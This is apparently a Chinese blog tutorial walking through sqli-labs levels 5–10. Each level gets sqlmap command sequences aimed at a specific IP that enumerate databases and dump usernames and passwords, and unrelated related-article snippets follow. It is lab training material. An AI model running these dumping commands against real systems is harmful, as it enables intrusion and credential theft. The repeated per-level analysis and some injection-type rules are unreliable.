2-手工sql注入(进阶篇) sqlilabs靶场5-10题

1. 阅读,学习本章前,可以先去看看基础篇:1-手工sql注入(基础篇)-CSDN博客
2. 本章通过对sqlilabs靶场的实战,关于sqlilabs靶场的搭建:Linux搭建靶场-CSDN博客
3. 本章会使用到sqlmap,关于sqlmap的命令:sql注入工具-sqlmap-CSDN博客
点击访问题目:
通过 url 参数访问题目:http://服务器地址/sqlilabs/Less-1/
- Less-1 是第一题题目
- Less-2 是第二题题目
- 以此类推,进行访问
判断注入类型:在SQL注入中,判断是字符型注入还是数字型注入可以通过以下方法:
- 1. 观察注入点的上下文:在注入点前后的SQL语句中,如果注入点处的参数被引号包围(例如:'1'),则很可能是字符型注入;如果不被引号包围(例如:1),则可能是数字型注入。
- 2. 字符串函数的使用:在注入点处,如果使用了字符串函数(如CONCAT、SUBSTRING、LENGTH等),则很可能是字符型注入。这是因为字符串函数通常用于修改字符串值,而数字类型的参数并不需要使用字符串函数。
- 3. 错误消息:如果在注入点处注入了非法字符或非法语法,且数据库返回了错误消息,可以通过错误消息中的内容来判断是字符型注入还是数字型注入。例如,如果错误消息中包含了关于字符串数据类型的错误信息(如字符串转换错误),则可能是字符型注入。
- 4. 注入点的响应:在注入点处注入不同类型的数据,观察数据库的响应。如果注入点返回了期望的结果(如查询结果集),则可能是字符型注入;如果注入点返回了错误信息或者无效的结果,可能是数字型注入。
Less-5
第五题的题目Less-5需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-5/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,

- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-5/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" -T "users" -C "username,password" --dump --batch
Less-6
第六题的题目Less-6需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-6/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,

- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-6/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" -T "users" -C "username,password" --dump --batch
Less-7
第七题的题目Less-7需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-7/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,

- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-7/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" -T "users" -C "username,password" --dump --batch
Less-8
第八题的题目Less-8需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-8/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,

- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-8/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" -T "users" -C "username,password" --dump --batch
Less-9
第九题的题目Less-9需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-9/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,

- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-9/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" -T "users" -C "username,password" --dump --batch
Less-10
第十题的题目Less-10需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-10/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,

- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-10/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" -T "users" -C "username,password" --dump --batch
相关文章:
2-手工sql注入(进阶篇) sqlilabs靶场5-10题
1. 阅读,学习本章前,可以先去看看基础篇:1-手工sql注入(基础篇)-CSDN博客 2. 本章通过对sqlilabs靶场的实战,关于sqlilabs靶场的搭建:Linux搭建靶场-CSDN博客 3. 本章会使用到sqlmap,关于sqlmap的命令&…...
C++并发:线程函数传参(二)
正文 传参中的陷阱 1. 向std::thread 构造函数传参:所有参数(含第1个参数可调用对象)均按值并以副本的形式保存在 std::thread 对象中的tuple里。这一点的实现类似于std::bind。如果要达到按引用传参的效果,可使用std::ref来传递…...
正点原子[第二期]Linux之ARM(MX6U)裸机篇学习笔记-12-蜂鸣器
前言: 本文是根据哔哩哔哩网站上“正点原子[第二期]Linux之ARM(MX6U)裸机篇”视频的学习笔记,在这里会记录下正点原子 I.MX6ULL 开发板的配套视频教程所作的实验和学习笔记内容。本文大量引用了正点原子教学视频和链接中的内容。…...
H5 css动画效果
你可以使用 CSS 动画来实现这个效果。下面是一个简单的示例代码,展示了如何使用 CSS 中的关键帧动画来放大然后缩小一张图片,并使动画循环播放: html <!DOCTYPE html> <html lang"en"><head><meta charset&qu…...
创作纪念日(一周年)
机缘 我进入CSDN成为创作者是去年2023年的五月份,当时是在学校报名了蓝桥杯单片机组的比赛,觉得单片机方面有许多精妙之处,并且自学初学单片机实在有许多奇巧的设计点,有许多编程与硬件实际运行需要磨合的地方,这些惊…...
Oracle 数据库全面升级为 23ai
从 11g 到 12c 再到 19c,今天,我们迎来了 23ai ! “ Oracle AI Vector Search allows documents, images, and relational data that are stored in mission-critical databases to be easily searched based on their conceptual content Ge…...
Android WebView打开网址黑屏
1.先说解决方案: // 允许执行JavaScriptbinding.webView.getSettings().setJavaScriptEnabled(true);// 启用硬件加速binding.webView.setLayerType(View.LAYER_TYPE_HARDWARE, null);// 允许混合内容。即使是通过HTTPS加载的页面也可以显示通过HTTP加载的资源。bin…...
软件测试之 接口测试 Postman使用
接口测试 URL HTTP协议 HTTP 请求部分 HTTP响应部分 Postman使用 界面介绍 这里 注意 如果你无法访问 那么 captchaImage这个打错了,给的资料中是错误的地址 https://kdtx-test.itheima.net/api/captchaImage登录接口 科大天下 第一个接口的登录设置 https://kd…...
惠海 H4012 同步降压芯片IC 30V降压3.3V5V12V方案 支持EN使能控制
大家好,今天给大家介绍惠海H4012同步降压芯片IC是一款降压恒压芯片,适用于多种电压转换需求。以下是对该芯片及其30V降压至3.3V、5V、12V方案和支持EN使能控制功能的具体介绍: 首先,H4012是一款内置30V耐压MOS的同步降压型DC-DC转…...
Android Studio查看xml文件的修改时间和记录
Android Studio查看xml文件的修改时间和记录 Android Studio里面如果是Java/Kotlin编写界面,可以点击函数开头上面的提交在直接,然后在编辑界面的左侧查看历史时间上的修改记录,但是xml文件里面没有直观的这样操作方式。 但xml里面可以通过快…...
源码拾贝三则
目录 一 一种枚举类型的新型使用方式 二 Eigen库中的LDLT分解 三 Eigen中的访问者模式 一 一种枚举类型的新型使用方式 ///D:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\include\xiosbase enum _Iostate { // consta…...
nginx配置文件和配置命令详解案例
一.nginx.conf配置结构 1.1配置结构图 1.2 nginx中配置nginx.conf配置内容 #user nobody; user root; # 表示worker进程是有root用户去执行的 worker_processes 2; events {# 默认使用epolluse epoll;# 每个worker链接最大数据worker_connections 1024; } http {include …...
服务网关GateWay原理
文章目录 自动装配核心类GatewayAutoConfigurationDispatcherHandler请求处理阶段apply方法httpHandler#handle方法WebHandler#handle方法DispatchHanlder#handle方法第一步 getHandler获取请求映射第二步 invokeHandler 请求适配第三步 handleResult请求处理总结 上一篇博文我…...
第12节 第二种shellcode编写实战(1)
我最近在做一个关于shellcode入门和开发的专题课👩🏻💻,主要面向对网络安全技术感兴趣的小伙伴。这是视频版内容对应的文字版材料,内容里面的每一个环境我都亲自测试实操过的记录,有需要的小伙伴可以参考…...
在Ubuntu上安装Anaconda并配置远程访问Jupyter
安装 下载Anaconda的.sh文件后,上传到服务器,然后进行安装: chmod x anaconda.sh ./anaconda.sh创建虚拟环境 可以指定Python版本创建虚拟环境: conda create --name langchain python3.11.7 conda activate langchain conda …...
格雷希尔GripSeal:E10系列低压信号电测试连接器,应用于新能源汽车的DCR测试和EOL测试
新能源车的电驱动、电池包等都有一些信号接口,从几针到几十针不等,而且每种接口都有独特的电性能要求,这些接口在电池包进DCR测试或是EOL测试时,为了满足这些信号接口的需求,我们设计了E10系列信号针快速接头ÿ…...
飞跨电容型的三电平(FC-NPC)逆变器simulink仿真模型
本人搭建了飞跨电容型的三电平逆变器simulink仿真模型,相较于二极管钳位型三电平逆变器而言,钳位二极管变为飞跨的电容。采用SPWM调制和均流均压控制,通过搭建仿真模型得到三电平波形。 三电平拓扑中的飞跨电容是指在电路的输出端使用电容来实…...
前端Sass使用详解,看这篇就够了
Sass(Syntactically Awesome Style Sheets)是一种CSS预处理器,它被设计为改善CSS的可读性和实用性。Sass使用类似于CSS的语法,但增加了变量、嵌套、混合(mixins)、函数等功能,使得编写CSS更加高…...
用js操作dom节点的一些方法
一、获取节点 document.getElementById(id); 返回拥有指定 id 的第一个节点 document.getElementsByName(name); 返回带有指定名称的节点集合 document.getElementsByTagName(tagname); 返回带有指定标签名的节点集合 document.getElementsByClassName(classname); 返回带有…...
electron 中拦截内嵌页面 beforeunload 的弹窗提示
window 的 beforeunload 事件提示在electron 不兼容,弹窗提示不出来,还会导致莫名其妙的假死问题,下面记录一下解决方法。 1. 如果仅需要拦截弹窗: win.webContents.on(will-prevent-unload, (event) > {event.preventDefault(…...
RestClient
什么是RestClient RestClient 是 Elasticsearch 官方提供的 Java 低级 REST 客户端,它允许HTTP与Elasticsearch 集群通信,而无需处理 JSON 序列化/反序列化等底层细节。它是 Elasticsearch Java API 客户端的基础。 RestClient 主要特点 轻量级ÿ…...
TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...
成都鼎讯硬核科技!雷达目标与干扰模拟器,以卓越性能制胜电磁频谱战
在现代战争中,电磁频谱已成为继陆、海、空、天之后的 “第五维战场”,雷达作为电磁频谱领域的关键装备,其干扰与抗干扰能力的较量,直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器,凭借数字射…...
【论文阅读28】-CNN-BiLSTM-Attention-(2024)
本文把滑坡位移序列拆开、筛优质因子,再用 CNN-BiLSTM-Attention 来动态预测每个子序列,最后重构出总位移,预测效果超越传统模型。 文章目录 1 引言2 方法2.1 位移时间序列加性模型2.2 变分模态分解 (VMD) 具体步骤2.3.1 样本熵(S…...
技术栈RabbitMq的介绍和使用
目录 1. 什么是消息队列?2. 消息队列的优点3. RabbitMQ 消息队列概述4. RabbitMQ 安装5. Exchange 四种类型5.1 direct 精准匹配5.2 fanout 广播5.3 topic 正则匹配 6. RabbitMQ 队列模式6.1 简单队列模式6.2 工作队列模式6.3 发布/订阅模式6.4 路由模式6.5 主题模式…...
宇树科技,改名了!
提到国内具身智能和机器人领域的代表企业,那宇树科技(Unitree)必须名列其榜。 最近,宇树科技的一项新变动消息在业界引发了不少关注和讨论,即: 宇树向其合作伙伴发布了一封公司名称变更函称,因…...
【网络安全】开源系统getshell漏洞挖掘
审计过程: 在入口文件admin/index.php中: 用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码: 当M_TYPE system并且M_MODULE include时,会设置常量PATH_OWN_FILE为PATH_APP.M_T…...
【Linux】自动化构建-Make/Makefile
前言 上文我们讲到了Linux中的编译器gcc/g 【Linux】编译器gcc/g及其库的详细介绍-CSDN博客 本来我们将一个对于编译来说很重要的工具:make/makfile 1.背景 在一个工程中源文件不计其数,其按类型、功能、模块分别放在若干个目录中,mak…...
【前端异常】JavaScript错误处理:分析 Uncaught (in promise) error
在前端开发中,JavaScript 异常是不可避免的。随着现代前端应用越来越多地使用异步操作(如 Promise、async/await 等),开发者常常会遇到 Uncaught (in promise) error 错误。这个错误是由于未正确处理 Promise 的拒绝(r…...
Qt 事件处理中 return 的深入解析
Qt 事件处理中 return 的深入解析 在 Qt 事件处理中,return 语句的使用是另一个关键概念,它与 event->accept()/event->ignore() 密切相关但作用不同。让我们详细分析一下它们之间的关系和工作原理。 核心区别:不同层级的事件处理 方…...
